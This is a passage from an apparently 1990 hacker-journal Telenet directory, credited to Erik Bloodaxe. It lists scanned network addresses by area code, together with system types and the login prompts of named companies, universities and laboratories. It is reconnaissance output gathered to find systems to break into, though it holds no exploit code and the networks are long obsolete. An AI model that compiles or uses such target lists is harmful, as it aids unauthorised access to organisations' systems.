   340                     Mellon Bank
   341                     C@
   342                     COMMAND UNRECOGNIZED
   349                     *** ENTER LOGON
   352                            "
   354     VAX
   355                     C@
   360     VAX
   430
   431
   671                     Carnegie-Mellon MICOM-B
```

413--MASSACHUSETTS--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  21                     TW81
```

414--WISCONSIN--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  31      AOS
$  34      AOS
$  36      AOS
*  38
$  46      PRIME          SYSU
   49                     MMISC
   60                     MGIC
   81a
*  120
$  131     AOS
$  132     AOS
$  134     AOS
$  136     AOS
$  137     AOS
*  151
   153
   189a
```

415--CALIFORNIA--ADDRESSES SCANNED: 0-1300

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  5                      PC Pursuit Dialer (2400)
   7       HP-3000
$  11                     PC Pursuit Dialer (1200)
   20                     Dialog
   27                     Stanford Data Center
   29                     Stnaford U. Hospital
$  34      AOS
   38      HP-3000
*  39
$  45      PRIME          CESSF
   48                     Dialog
   49                        "
   53      VAX
```

$	106		Telenet Async to 3270
$	108		PC Pursuit Dialer (300)
$	109		PC Pursuit Dialer (1200)
$	130	AOS	
*	138		
*	139		
*	142		
*	143		
*	144		
*	145		
$	157	VAX	MENLO
	158		ComMail Esprit de Corp
$	164	AOS	
	167	PRIME	VESTEK
*	174		
*	178		
$	215		PC Pursuit Dialer (300)
$	216		PC Pursuit Dialer (1200)
$	217		PC Pursuit Dialer (2400)
$	224		PC Pursuit Dialer (2400)
	238		GEONET
	239		Telenet Async to 3270
	242	VAX	
*	252		
	269		LUT Rel 3.2>
$	333	AOS	
$	335	AOS	
	338		Telenet Async to 3270
	342		Dialog
	343		Telenet Async to 3270
	345		SBE Inc.
*	348		
*	370		
	379	VAX	
$	431	AOS	
$	434	AOS	
$	436	AOS	
$	437	AOS	
$	438	AOS	
	452		Telmar Intl Network
*	460		
*	468		
$	470		
$	471		
$	541	AOS	
$	542	AOS	
$	543	AOS	
$	544	AOS	
$	545	AOS	
*	546		
$	547	AOS	
$	549	AOS	
*	551		
*	560		
*	571		
	572	VAX	
	575	VAX	SPRINT
	576		
	578		
	672		Telenet Async to 3270
	698		
$	730	AOS	
$	731	AOS	
$	732	AOS	

```
$  733     AOS
*  734
*  735
*  736
*  737
*  738
*  739
*  740
*  741
   780
   827
   1030    PRIME
   1036                    OVL 111 44 IDLE
   1037
   1038
   1055
   1063
   1200                    enter switch characters
   1201                              "
   1202                              "
   1205                              "


419--OHIO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  35


422--WESTINGHOUSE--ADDRESSES SCANNED:  0-1125

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   1       PRIME
   2
   102                     ARDM1
   104     HP-3000
   106     GS/1
   114                     west pgh tcc
   115                     corp info service
   121     AOS
   126                     tcc1
   127                     csc2
   130     PRIME
   132     UNIX
   135     UNIX
   140
   141     VAX
   180                     MHP1201I
   182                        "
   183                        "
   185                        "
   187                        "
   194                     Commtex CX-80
   221
   222     HP-3000
   223     VAX
   229


424--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
```

```
-----------------------------------------------------
   100
   101
   102
   103
   104
   114
   115
   116
   122
   123
   129
   130

==============================================================================

               End of First Half of LOD/H Telenet Directory, Rev. #5
==============================================================================
The LOD/H Technical Journal, Issue #4: File #09 of 10

                       The Legion Of Hackers Present:
                       Updated:  Telenet Directory
                       Part B: Addresses 501XXX to 919XXX
                       Revision #5 Last Updated: 2/10/90
                       (Includes Mnemonic Host Names)

                           Scanned and Written by:
                                Erik Bloodaxe


501--ARKANSAS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  31      AOS
*  32
*  38
$  44      PRIME          LROCK


502--KENTUCKY--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  50
*  58
*  60
*  61


503--OREGON--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  30      AOS
$  31      AOS
$  32
$  36      AOS
$  37      AOS
$  39      AOS
$  40      AOS
```

```
*  41
$  45      AOS
$  46      AOS
$  47      AOS
$  48      AOS
$  49      AOS
$  52      AOS
$  56      AOS
$  60      AOS
$  63      AOS
$  68      AOS
$  71      AOS
   75                      PLEASE SIGN ON
$  76      AOS
$  77      AOS
$  78      AOS
   120
$  130     AOS
$  132     AOS
$  134     AOS
$  136     AOS
$  137     AOS
$  138     AOS
$  141     AOS
$  142     AOS
*  143
$  147     AOS
$  149     AOS
$  150                      TEKTRONIX 100
$  151     AOS
$  152     AOS
$  154     AOS
$  156     AOS
*  162
$  167     AOS
$  168     AOS
$  169     AOS
$  170     AOS
$  174     AOS
$  177     AOS
$  200     AOS
*  228
*  229
$  230     AOS
*  232
*  237
$  238     AOS
$  239     AOS
*  240
$  241     AOS
$  242     AOS
$  243                      ID
$  250     AOS
$  255     AOS
$  274     AOS
$  277     AOS
$  278     AOS
$  279     AOS
$  330     AOS
$  331     AOS
$  332     AOS
$  334     AOS
$  335     AOS
$  336     AOS
```

```
$  338     AOS
$  339     AOS
$  340     AOS
$  341     AOS
$  342     AOS
$  345     AOS
$  349     AOS
$  350     AOS
$  351     AOS
$  353     AOS
$  355     AOS
$  357     AOS
$  360     AOS
$  370     AOS
$  371     AOS
$  432     AOS
$  440     AOS
   613     UNIX           sequent


504--LOUISIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  22
$  31                     ID
$  32      AOS
$  33      AOS
$  34      AOS
*  38
*  44
*  116
*  117
$  140     AOS
*  141
*  142


505--NEW MEXICO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31                     ID
$  33      AOS
*  34
$  36      AOS
$  40      AOS
*  45
$  46      AOS
$  51      AOS
$  52      AOS
$  53      AOS
$  56      AOS
$  57      AOS
$  60                     ICN Username:
$  61                     Los Alamos
$  70      AOS
$  72      AOS
$  74      AOS
$  75      AOS
$  77      AOS
$  78      AOS
$  132     AOS
```

```
$  133     AOS
*  134
$  136     AOS
$  137     AOS
$  139     AOS
$  144
$  150


509--WASHINGTON--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  25      AOS
$  26      AOS
$  31      AOS
$  32                     ID
*  33
$  48      AOS
$  50      AOS
$  73      AOS
$  79      AOS
*  130
*  140
*  145


511--UNKNOWN--ADDRESSES SCANNED:  0-250

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   87


512--TEXAS--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  5
$  33      PRIME          BROWNS
$  34      PRIME          AUSTIN
   40
*  55
*  62
*  63
*  64
*  65
   136
*  139
   142     VAX            Gould Inc.
$  242                    Primefax Info Service


513--OHIO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30                     LEXIS/NEXIS
   31                     Meadnet
*  32
$  33      PRIME          D01
$  34      VAX
$  37      PRIME          E03
$  55      PRIME          I01
```

```
$  57      PRIME          E04
   59                     Develnet
$  65      VAX
*  66
$  67      PRIME          E09
$  68      PRIME          X01
*  69
$  72      PRIME          O1
*  73
$  74      PRIME          W01
*  75
$  77      PRIME          M01
$  78      PRIME          A02
$  79      PRIME          C2
$  80                     JETNET EVENDALE
   131                    LEXIS/NEXIS
   132                         "
   133                         "
   134                         "
*  140
   143     VAX
*  144
*  158
```

515--IOWA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   30                     LEXIS/NEXIS
   31                          "
$  39      PRIME          NVSL
$  40                     ID
*  41
*  42
$  43      PRIME          DESMOM
   131                    LEXIS/NEXIS
```

516--NEW YORK--ADDRESSES SCANNED: 0-700

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   30      VAX            OFFICE
   35                     CCI MULTILINK
*  38
$  41      VAX
   45      VM/370
   47
   48a                    Customer id:
   49a                        "
   50a                        "
*  140
$  141                    # CONNECT REQUESTED
   157
$  232     HP-3000
   600     PRIME
*  601
   610     PRIME          P550
   617                    Pi-Net
   618                    Pi-Net
   625     VAX
   655
```

517--MICHIGAN--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
*	40		
$	42	AOS	

518--NEW YORK--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	30		USSMSG2
	31		"
	35		"
	36		"
	37		"

601--MISSISSIPPI--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	30	AOS	
$	31		ID
$	33	PRIME	GLFPRT
*	36		
*	37		
*	40		

602--ARIZONA--ADDRESSES SCANNED: 0-1000

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	22		PC Pursuit Dialer (300)
$	23		PC Pursuit Dialer (1200)
$	26		PC Pursuit Dialer (2400)
*	30		
*	32		
$	33	AOS	
$	34	AOS	
$	35		GTE COMMUNICATION SYSTEMS
$	53a	CYBER	
*	55		
$	56	AOS	
$	57	AOS	
$	58	AOS	
$	61	AOS	
$	62		ID
$	65	AOS	
*	66		
$	67	AOS	
$	100	AOS	
*	131		
*	133		
	141a		
	142		
$	242	AOS	
$	344	VAX	BUSTOP
*	349		
*	350		
*	351		

```
*  352
*  353
*  354
*  355
*  356
*  357
*  358
*  359
*  360
*  361
   603
$  630                    >
```

603--NEW HAMPSHIRE--ADDRESSES SCANNED: 0-700

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20                     Dartmouth College
$  30      AOS
*  33
$  36                     ID
$  37
$  40
   46                     USER NUMBER--
   51                     CHUBBS online
   53                     CHUBBS online
$  57                     ID
*  58
   66                     USER NUMBER--
   135     VM/370
   136     VM/370
*  137
   603     VAX
```

606--KENTUCKY--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  31                     ID
$  37      AOS
   44      HP-3000
```

607--NEW YORK--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  30
*  32
   44                     enter system id
   45                           "
   70      PRIME          FDC99
*  131
*  136
```

608--WISCONSIN--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
```

```
   35                      enter logon command
$  140                     ID
*  141


609--NEW JERSEY--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  23                      enter class
$  26                      UNSUPPORTED FUNCTION
   42                      Dow Jones
   46                      Dow Jones
$  47      HP-3000
$  61                      UC
$  63                      UC
$  68                      UC
$  73
   100     PRIME
   124
$  125     HP-3000
$  126                     UC
$  132     PRIME           MOORES
$  136                     Twain Terminal Server
   138     PRIME           HCIONE
$  141                     UNSUPPORTED FUNCTION
$  145                     ID
   170     PRIME
*  171
$  172                     UC
   232a                    MHP2021 APPLICATION:
   242                     Dow Jones
   243                     Dow Jones
   244                     Dow Jones


611--UNKNOWN--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   25                      TRANSEND
   26                          "
   27                          "
   28                          "
   39                      CCF Development System
   56                      CCF Computing Facility
   60                      Nexnet
   120     VAX
   130     TOPS-20         F.A.S.T.
   145                     Good Evening,Please Logon:
   150     PRIME           MHT850
   192     PRIME
   193     PRIME
   194     PRIME
   195     PRIME
   196     PRIME           LDN
   198     PRIME           DEV2
   234
   235                     MHCOMET
   236                        "
   237                        "
   238                        "
```

612--MINNESOTA--ADDRESSES SCANNED: 0-500

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	21a		
$	22		PC Pursuit Dialer (2400)
	23		WESTLAW
$	33		ID
	34		WESTLAW
	36		
	37		WESTLAW
$	44	AOS	
$	46		CDCNET
$	52	PRIME	
*	53		
	56		WESTLAW
	57		"
$	69		ID
$	70	AOS	
*	71		
$	120		PC Pursuit Dialer (300)
$	121		PC Pursuit Dialer (1200)
$	131		ID
*	132		
*	138		
$	139	VAX	
$	162	PRIME	PIERRE
*	231		
*	232		
*	233	AOS	
	236		
	240		MSC X.25 Gateway
*	251		
*	252		
$	260		CDCNET
	270		WESTLAW
	271		"
*	332		
*	333		
$	340	AOS	
$	351	AOS	
	356		WESTLAW
	357		"
	358		"
	359		"
	362		"
	363		"
	364		"
	365		"
	366		"
	367		"
	369		"
	385		
	391		WESTLAW
	393		"
*	430		
	442		please LOGIN

614--OHIO--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	30		ID

```
*  36
*  130
$  131     AOS
*  132


615--TENNESSEE--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  31                     ID
$  32
$  33      PRIME          FRKFRT
$  34      AOS
*  36
*  50
*  55
   139a                   Telenet Async to 3270


616--MICHIGAN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
   45      VAX            ACTEST
$  50
$  51
   58                     MHP201A
   63                     Meridian


617--MASSACHUSETTS--ADDRESSES SCANNED:  0-1100

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   20      PRIME          PBN27
   22      PRIME          BDSD
*  26
*  29
$  30      GS/1
   37      PRIME          BDSH
   46      PRIME          BDSS
$  47                     ENTER ACCESS PASSWORD:
   48      VAX
*  51
$  56
*  61a
$  64      PRIME          OPS
   67      PRIME          IRI System 1
   72      PRIME          IRI System 2
   74      PRIME          ENB
*  78
*  114
*  115
   143     IDC/370
   147     HP-3000
   152                    ENTER LOGON
*  153
   158     PRIME          BDSW
   164
   169
   201
```

```
   205     AOS            MONARCH
   206
   226     VM/370
*  230
   236     VAX            Thompson Financial Network
   237     UNIX           b1cs4
   249     Decserver
   250                    NDNA
   255     PRIME          PBN43
   256                    MGS Teaching Program
*  266
   270     VAX            SNOOPY
   273                    enter system id
*  274
   291
$  311                    PC Pursuit Dialer (300)
$  313                    PC Pursuit Dialer (1200)
   330     VAX
*  336
$  341     VAX
$  347     HP-3000
   349
   350     PRIME          PBN39
   351     PRIME          BDSU
   352     PRIME          OASB
   354     VAX            Anchor Comm. Router
   359     VAX            HEWEY
*  371
*  372
   379                    $$ 4200 MODEL:
   380     PRIME          L01
   381     PRIME          P01
   382     PRIME          Y01
   383     PRIME          H02
   387     PRIME          B01
   388                    $$ 4200 MODEL:
   391     PRIME          P01
   393     PRIME          Y04
   398     PRIME          V03
   437     HP-3000
   443     IDC/370
   446     PRIME          ENO
   447     PRIME          ENL
   451
   452     PRIME          NET
   454     PRIME          NORTON
   457     PRIME          NNEB
   476     PRIME          NNEB
*  460
*  465
   491     PRIME          ROCH
   492     PRIME          MELVLE
   493     PRIME          STMFRD
   499     PRIME          SYRA
   501     PRIME          OASC
   502     PRIME          APPLE
   510     PRIME          EN.C06
   515     UNIX
   516     PRIME          PBN38
   517     PRIME          PBN38
   518     PRIME          BDSA
   519     PRIME          PBN54
   520     PRIME          PBN57
   525     PRIME          IRI System 8
```

	530		Maxlink
	541	PRIME	BDSS
	543	PRIME	PBN37
	550	PRIME	B01
	551	PRIME	CSP-A
	553	PRIME	BDSQ
	556	PRIME	
	558	PRIME	CSSS.A
	560	PRIME	BDSN
	562	PRIME	BDS2
	563	PRIME	
	568	PRIME	OASI
	575	PRIME	PBN50
	577	PRIME	B30
	578	PRIME	B04
	583	PRIME	MD.HFD
	587	PRIME	TR.SCH
*	588		
$	589		
*	590		
	591	PRIME	EN.M19
	593	PRIME	BDSO
	596	PRIME	MKT
	597	PRIME	BDSB
	599	PRIME	OASJ
	618	UNIX	
*	623		
	641	AOS	Timeplace Inc.
	649		PAPERCHASE
	654	PRIME	IRI System 9
	710	PRIME	MD.ATC
	711	PRIME	AESE01
	713	PRIME	PEACH
	716	PRIME	WAYNE
	717	PRIME	ETHEL
	718	PRIME	BUGS
	722	PRIME	PBN31
	723	PRIME	MD.NJ
	724	PRIME	NYMCS
	725	PRIME	PRNCTN
	726	PRIME	NJCENT
	736	VAX	Butterworths
	737	VAX	"
$	840	PRIME	WALTHM
	850	PRIME	MD-CHI
	851	PRIME	PBN30
	852	PRIME	MD.LP1
	855	PRIME	TRNG.C
	856	PRIME	CS.CHI
	857	PRIME	CS.OAK
	858	PRIME	CS-DEN
	859	PRIME	AWCE02
	861	PRIME	PTCDET
	862	PRIME	DRBN1
	864	PRIME	CS.DET
	865	PRIME	MD.DET
	866	PRIME	MD.DAC
	867	PRIME	ACEC01
	868	PRIME	MD.GR
	870	PRIME	CS.IND
	871	PRIME	MD.IND
	872	PRIME	MD.PIT
	873	PRIME	ACMC01
	874	PRIME	PITTCS

```
   875     PRIME          MD.CLE
   902     PRIME          MD.HOU
   905     PRIME          OASG
   908     PRIME          WMCS
   910     PRIME          CSWDC
   911     PRIME          VIENNA
   912     PRIME          BALT
   928     PRIME          CS.HOU
   930     PRIME          MD.AUS
   931     PRIME          CS.SCR
   937     PRIME          TRNED
   957     PRIME          ZULE
   958     PRIME          EDOC1
   959     PRIME          FUZZY
   962     PRIME          PBN49
*  971
*  972
*  973
*  974
   980     PRIME          WUFPAK
   981     PRIME          WMMKT
   986
   993                    CU-Manchester-
   995     PRIME          ATC55
   996     PRIME          PBN65
   998     PRIME          TRNGB
   3088    VAX            DELPHI

619--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  31                     Environment Ctrl Monitor
   41      VM/370
*  51
   56
   57
$  62      AOS
$  63      AOS


626--UNKNOWN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  1000    PRIME
$  1002    VAX            Pacific Gas & Electric


703--VIRGINIA--ADDRESSES SCANNED:  0-1300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  32
$  33      AOS
   40      VAX
   41      VAX
$  42                     ENTER USERID:
   44      AOS            Project HOPE
$  53      HP-3000
   55                     ENTER SWITCH CHARS
   141                    enter /login
   142                         "
```

```
   160     VAX
   163a
$  168
*  176
$  177     AOS
*  206
*  207
$  253     AOS
$  254     AOS
$  255     AOS
$  256     AOS
$  257     AOS
$  262     AOS
*  340
*  341
*  342
$  344                     ** NETWORK SIGN-ON FAILED:
*  346
   367                     P.R.C.
   371                     P.R.C.
*  377
   431                     TACL 1>
*  460
*  461
$  463     DEC-20
*  464
$  466     DEC-20
*  467
$  468
$  469     Decserver
*  470
   511                     bcs network
   512                     bcs network
   530                     bcs network
$  1000                    FCC FIRSTRA'
$  1001                    FCC FIRSTRA'


704--NORTH CAROLINA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31      AOS
$  32      AOS
*  60
*  61
*  62
$  63      AOS
*  64
*  168
   170
   171
   173


707--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  48      AOS
$  49      AOS
$  50      AOS
$  51      AOS
```

```
$  52      AOS


711--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   15      PRIME


713--TEXAS--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
*  42
$  43                     ID
$  44                     ID
*  58
   73      PRIME          TXNODE
   76                     %u@IUeASID@cAbR@CUDEz
   77                              "
   79                              "
   80                              "
   81                              "
$  113                    PC Pursuit Dialer (300)
$  114                    PC Pursuit Dialer (1200)
   146                    %u@IUeASID@cAbR@CUDEz
*  167
*  224
*  227
*  228
*  232
*  234
$  238     HP-3000
   239                    Compaq
   255     PRIME          SYS1
$  260     PRIME          HOUSTN
   276
*  335
   336     PRIME          GANODE
   340a
   345                    COMM520
   346a                   Telenet Async to 3270
$  364     VAX
   366     PRIME          CANODE
   368     PRIME          MANODE
$  371                    Coca-Cola Foods
   431


714--CALIFORNIA--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  4                      PC Pursuit Dialer (2400)
$  23                     PC Pursuit Dialer (300)
$  24                     PC Pursuit Dialer (1200)
$  33                     911 Monitor ECM
$  41                     AGS
   48      PRIME          TWCALF
   49                     SERVICE ID=
$  55      HP-3000
$  62      AOS
```

```
$  63      AOS
$  64      AOS
$  65      AOS
$  66      AOS
$  67      AOS
$  68      AOS
   72      PRIME          FSCOPE
$  102                    PC Pursuit Dialer (2400)
$  119                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  130                    MMSA
   131     PRIME          CAJH
*  133
*  145
$  160     HP-3000
*  164
   166     HP-3000
*  167
*  168
*  169
   171                    COMMAND UNRECOGNIZED
   172                            "
*  178
$  210                    PC Pursuit Dialer (300)
$  213                    PC Pursuit Dialer (1200)
$  240     AOS
   246                    COMMAND UNRECOGNIZED
$  272     AOS
*  273
$  274     AOS
$  275     AOS
$  276     AOS
```

716--NEW YORK--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   23                     enter user code please
   25                              "
   31      HP-3000
   50
   130                    enter logon request-
   131                            "
   133                            "
$  135     VAX
```

717--PENNSYLVANIA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   8       VM/370
*  24
*  31
*  32
*  33
*  34
   40      PRIME          IREX
   42      PRIME          IREX
   45      VOS
   46      VOS
   47                     Camp Hill Mgt. Info Center
   48                              "
```

```
   50
   51                      Telenet Async to 3270
   52a                     Telenet Async to 3270
   53
*  150
*  153
*  154
*  160
*  161
*  162
*  163


801--UTAH--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  12                     PC Pursuit Dialer (2400)
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
   24                     Wasatch System
   25                           "
   26                           "
   27                           "
$  35                     ID
*  37
$  39      AOS
$  44      AOS
$  49      AOS
$  52      AOS
$  54      VAX
$  57      AOS
$  60      AOS
$  62      AOS
$  65      AOS
$  130     AOS
   144
*  150
$  151     AOS
*  152
$  153     AOS
   176
$  231     AOS
$  232     AOS
$  239     AOS
   250                     ID?>
   257
   258


802--VERMONT--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  31      AOS
$  32      AOS
$  33                     ID
*  35
*  36
$  37      AOS
$  38      AOS


803--SOUTH CAROLINA--ADDRESSES SCANNED:  0-200
```

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
*	30		
*	32		
$	50		
$	51		KEMET ELECTRONICS
*	55		
	60		Telenet Async to 3270
	61a		Telenet Async to 3270
$	70	AOS	
*	71		
*	74		
$	77	AOS	
	131		Kemet
	132a		Telenet Async to 3270
*	133		
$	135	PRIME	PRISM

804--VIRGINIA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	35	VAX	
*	43		
*	45		
$	60		ID
*	61		
*	62		
*	155		
$	160	AOS	

805--CALIFORNIA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	30	AOS	
	50	VAX	
	51	VAX	
*	58		
*	59		
*	60		
*	61		
*	62		
*	63		
*	64		
*	65		
*	74		
	90		
	100		
	101	UNIX	salt.acc.com
	130		
	150	PRIME	MBM

808--HAWAII--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	40	VAX	
	100	PRIME	

811--GTE--ADDRESSES SCANNED: 0-300

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
*	15		
	17	HP-3000	
	21	UNIX	GTE RPU2
	22	UNIX	GTE IPU
	24	UNIX	GTE RPU1
	25		TACL 1>
	28		TACL 1>
	118		CANNOT EXEC!
	123	HP-3000	
*	129		
*	143		
*	217		
*	219		

812--INDIANA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	30	AOS	

813--FLORIDA--ADDRESSES SCANNED: 0-700

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	20		PC Pursuit Dialer (300)
$	21		PC Pursuit Dialer (1200)
*	33		
	35	PRIME	S9750
	43		** 4200 TERMINAL TYPE:
$	52	DEC-20	Price Waterhouse
$	53	VAX	
$	55		PRICE WATERHOUSE
$	59		Telenet Async to 3270
	73	VM/370	
	74		** 4200 TERMINAL TYPE:
*	76		
$	124		PC Pursuit Dialer (2400)
	131		IBM INFORMATION SERVICES
	143		"
	147		"
*	148		
*	151		
*	153		
*	154		
	160	VAX	
	161	VAX	
	164	VAX	
*	165		
	166a		Telenet Async to 3270
*	167		
$	169	GS/1	
	172		IBM INFORMATION SERVICES
	174		"
	210		
	214		
	215		
	218		

```
*  222
$  225                    ----SECURITY SUBSYSTEM----
$  226                               "
*  265
   267                    IBM INFORMATION SERVICES
$  268                    U#=
   269a    VAX            Addidas
   271                    Access Code:
   272     PRIME
   275                    Access Code:
   277                    U#=
*  330
   344                    TACL 1>
   346                      "
   350     VAX
*  351
   355
*  360
*  361
   430                    Telenet Async to 3270
   431a                   Telenet Async to 3270
   436                    U#=
   438     VAX            DEC/ETONIC
*  460
   465                    Martin Marietta
   466                    Martin Marietta
   467                    Enter Switch Characters
   468                            "
   660
```

814--PENNSYLVANIA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   50      PRIME          SYSA
*  53
$  130     VAX
$  137     AOS
```

816--MISSOURI--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   36
*  38
*  43
$  44      AOS
*  45
$  57      AOS
$  58      AOS
*  59
$  62
   77
$  104                    PC Pursuit Dialer (300)
$  113                    PC Pursuit Dialer (1200)
$  150
*  157
*  161
   189                    CDCNET
```

817--TEXAS--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  33
$  35      PRIME          FWRTH
*  36
*  37
   141     VAX            Tandy Information Service
*  160
*  161
*  162
```

818--CALIFORNIA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  20
$  21                     PC Pursuit Dialer (1200)
*  29
*  50
$  130
*  139
```

888--GTE HAWAIIAN TELEPHONE--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  25
$  51
*  52
$  53      PRIME          HAWAII
*  30
*  45
*  50
```

890--UNKNOWN--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  100                    ADTN USER ID
$  102                         "
$  103                         "
$  109     GS/1
$  110                    ADTN USER ID
$  125                         "
$  126                         "
$  129                         "
```

901--TENNESSEE--ADDRESSES SCANNED: 0-300

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  30
*  134
```

904--FLORIDA--ADDRESSES SCANNED: 0-400

```
